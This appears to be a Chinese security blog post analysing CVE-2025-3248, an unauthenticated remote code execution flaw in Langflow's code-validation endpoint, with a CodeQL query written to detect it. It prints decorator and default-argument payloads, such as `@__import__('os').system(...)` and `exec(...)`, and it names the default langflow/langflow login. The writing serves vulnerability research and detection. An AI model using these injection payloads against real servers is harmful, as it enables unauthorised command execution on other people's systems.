本文主要是对langflow这一AI产品进行了漏洞分析,同时通过阅读官方文档的方式对漏洞的利用方式进行了进一步的扩展利用,剖析在AST解析执行的过程中因为decorator
或者参数注入的方式导致的RCE漏洞的姿势,后续也将其添加到codeql规则中,进行AI产品代码的批量检测与漏洞挖掘
其项目github链接如下
https://github.com/langflow-ai/langflow
Langflow 是一个基于 LangChain 的 AI 流程编排工具,其核心功能和主要用途如下:
其项目总体分为前端-后端两个部分,其源代码均在src
目录下
main.py
: FastAPI 应用程序的入口点server.py
: 服务器配置和启动worker.py
: 后台任务处理middleware.py
: 中间件处理way1:
根据README文件的描述,可以通过pip或者uv进行包的安装
# 确保您的系统已经安装上>=Python 3.10
# 安装Langflow预发布版本
python -m pip install langflow --pre --force-reinstall
# 安装Langflow稳定版本
python -m pip install langflow -U
way2:
或者直接分别在根目录分别执行make backend
make frontend
进行源码层面的启动
该漏洞仅仅影响1.3.0以下的langflow应用
这个漏洞核心是因为在执行动态代码时并没有在沙箱环境中进行执行,导致了远程命令执行的漏洞
作者也提及到了历史有关于langflow
的相关漏洞都是身份认证后的操作,作者这里通过分析pre-auth
的接口逻辑寻找到了一个未授权接口的RCE漏洞
根据在AUthSettings
中提及到的Login Settings
,其通过JWT以及API_kEY进行登录认证
同时,默认情况下访问该应用将会进行自动登录super user,同时的同时,其默认账号密码为:langflow/langflow
而该应用针对于用户管理相关的API集中在api/v1/users.py
中
用户注册:POST /users/
用户信息:GET /users/whoami
用户管理(需要超级管理员权限):
GET /users/
PATCH /users/{user_id}
POST /users/{user_id}/reset-password
DELETE /users/{user_id}
而对于接口的权限校验,这里通过一个文件上传接口进行举例
最后的核心是通过services/auth/utils.py#get_current_user
进行权限的校验
JWT以及api_key两种方式进行二选一进行验证,优先进行JWT认证
在进行后续步骤之前我们先了解一下python的内置库ast,学习他的数据结构
https://docs.python.org/3.13/library/ast.html
我们通过一些例子进行理解
# A simple decorator function
def decorator(func):
def wrapper():
print("Before calling the function.")
func()
print("After calling the function.")
return wrapper
# Applying the decorator to a function
@decorator
def foo():
print("echo Inside foo decorator")
print(1)
a = 1
if a > 3:
print("xxx")
foo()
对于上面一段代码,将其进行AST抽取后的结果为
其中
ast.FunctionDef
结点代表着函数的定义,这里指代的是decorator函数的定义ast.FunctionDef
结点指代的是foo
函数的定义,该函数存在有一个装饰器,在ast中其被抽象为ast.Name
加入到结点的decorator_list
列表中ast.Expr
为print
语句的抽象ast.Assign
、if语句的ast.if
、函数执行表达式的ast.Expr
在api/v1/validate.py
下的路由API均不需要身份认证即可访问
其中对于路由/code
,其将会对传入的code
代码进行有效性验证
其验证的过程大致分成了三个步骤:
使用python内置的ast
库进行抽象语法树的解析
将python语言的各个代码部分抽象成独特的类:
验证给定代码段的import
语句是否存在错误
其会遍历AST抽象出的每一个node结点,而对于python代码中的import
操作,这里将会通过调用importlib.import_module
对包进行导入,验证给定代码中的导入包是否可用
在这个过程中则会出现安全问题,在导入外部包的过程中,将会执行外部模块中的装饰器、表达式等等
例如存在有foomodule.py
def foo(): return "echo Inside foo decorator" print(1)
以及
main.py
import foomodule
在执行过后将会执行
验证给定代码端的方法定义是否存在语法错误
其验证方法首先是通过内置的compile
函数将方法定义的AST编译成python对象,以便于使用exec
或者eval
进行执行
在这个位置将函数定义的ast还原成了python代码对象并在没有沙箱的环境下执行该代码,造成了source到sink的可控
这里作者是利用了在函数定义的过程中将会执行装饰器的函数调用的原理来构造的命令执行利用
如下利用POC
能够通过这种方式在服务端执行系统命令
在上面分析的基础上,通过官方文档探索更多可以利用的姿势
可以将上面的漏洞代码抽象如下:
source_code = """
@__import__("os").system("echo Inside foo decorator")
def foo():
return "echo Inside foo decorator"
"""
parsed_ast = ast.parse(source_code)
for n in parsed_ast.body:
print(ast.dump(n))
code_objct = compile(parsed_ast, filename="<string>", mode="exec")
exec(code_objct)
其具体是执行了一个ast.FunctionDef
对象,我们首先看看该对象的结构
上面核心是利用了装饰器进行命令执行
装饰器类的语法仅仅是一种语法糖,通过装饰器对修饰的函数进行进一步的包装
上述文档中,也解释了当函数被定义的同时就会执行该函数存在的修饰器,同时也说明了,修饰器的调用原理是进行了一次表达式的执行,是callable
的
则我们可以通过装饰器的方式执行任意的函数,包括有危险的exec
以及eval
函数
import ast
import compileall
source_code = """
@__import__("os").system("echo Inside foo decorator")
def foo():
return "echo Inside foo decorator"
"""
source_code1 = """
@exec("print('test')")
def foo():
return "echo Inside foo decorator"
"""
parse_ast = ast.parse(source_code1)
for n in parsed_ast.body:
print(ast.dump(n))
code_objct = compile(parsed_ast, filename="<string>", mode="exec")
exec(code_objct)
同时在https://docs.python.org/3/reference/compound_stmts.html#grammar-token-python-grammar-defparameter中也提及到了当函数定义被执行时,其参数值将会被执行
与此同时,我们可以选择将恶意代码放置在参数表达式位置进行命令执行
如下利用示例:
import ast
import compileall
source_code = """
@__import__("os").system("echo Inside foo decorator")
def foo():
return "echo Inside foo decorator"
"""
source_code1 = """
@exec("print('test')")
def foo():
return "echo Inside foo decorator"
"""
source_code2 = """
def foo(cmd=exec("print('test')")):
return "echo Inside foo decorator"
"""
parsed_ast = ast.parse(source_code2)
for n in parsed_ast.body:
print(ast.dump(n))
code_objct = compile(parsed_ast, filename="<string>", mode="exec")
exec(code_objct)
在构建完整的污点分析路径之前,首先通过局部污点分析(TaintTracking::localTaint
)的方式来探索污点传播的情况
import python
import semmle.python.dataflow.new.TaintTracking
import semmle.python.ApiGraphs
from Call call, DataFlow::ExprNode p
where
call.getAChildNode().(Name).getId() = "exec" and
call.getPositionalArgumentCount() = 1 and
TaintTracking::localTaint(p, DataFlow::exprNode(call.getArg(0)))
select call, p
上述codeql探索的是在validate_code
函数中,存在有那些变量将会传播到最终的sink点exec
方法参数
根据结果来看,其中存在有污点传播中断的情况,也即是在调用ast
库相关方法是,codeql引擎不认为其传参会影响ast解析后的结果,这里我们通过添加isAdditionalFlowStep
的实现,将其传播路径进行补充
同时,对于source点的定义,我们将我们能够控制的点成为source点,类似于下方所表示的fastapi框架下的接口定义函数,其传参则被我们定义为source点位置
对于这部分的定义,codeql官方也支持对fastapi框架的API解析
https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/new/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html
完整的codeql实现
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.dataflow.new.RemoteFlowSources
import semmle.python.Concepts
module MyFlowConfiguration implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) {
source instanceof RemoteFlowSource
}
predicate isSink(DataFlow::Node sink) {
exists(Call c |
c.getAChildNode().(Name).getId() = "exec" and c.getPositionalArgumentCount() = 1 |
c.getAnArg() = sink.asExpr()
)
}
predicate isAdditionalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
exists(DataFlow::MethodCallNode attr | attr.getMethodName() = "Module" |
nodeFrom = DataFlow::exprNode(attr.getArgByName("body").asExpr().(List).getElt(0)) and
nodeTo = attr
) or
exists(DataFlow::MethodCallNode attr | attr.getMethodName() = "parse" |
nodeFrom = attr.getArg(0) and
nodeTo = attr
) or
exists(Attribute attr | attr.getAttr() = "body" |
nodeFrom = DataFlow::exprNode(attr.getObject()) and
nodeTo = DataFlow::exprNode(attr)
)
}
}
module MyFlow = TaintTracking::Global<MyFlowConfiguration>;
from DataFlow::Node input, DataFlow::Node execAccess
where MyFlow::flow(input, execAccess)
select execAccess, "This file access uses data from $@.",
input, "user-controllable input."
能够成功构建完整的通路
通过分析了在使用AST进行代码语法验证的过程中导致的安全问题引入了通过装饰器以及参数注入的python语言下的漏洞利用方式,同时将该利用模式抽象成了codeql查询规则,后续自动化审计过程中批量检测同类型漏洞
https://www.cve.org/CVERecord?id=CVE-2025-3248
https://docs.python.org/zh-cn/3/library/ast.html
[[https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/new/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html](https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/new/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html](https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/new/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html%5D(https://codeql.github.com/codeql-standard-libraries/python/semmle/python/dataflow/new/RemoteFlowSources.qll/type.RemoteFlowSources$RemoteFlowSource.html))
3 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!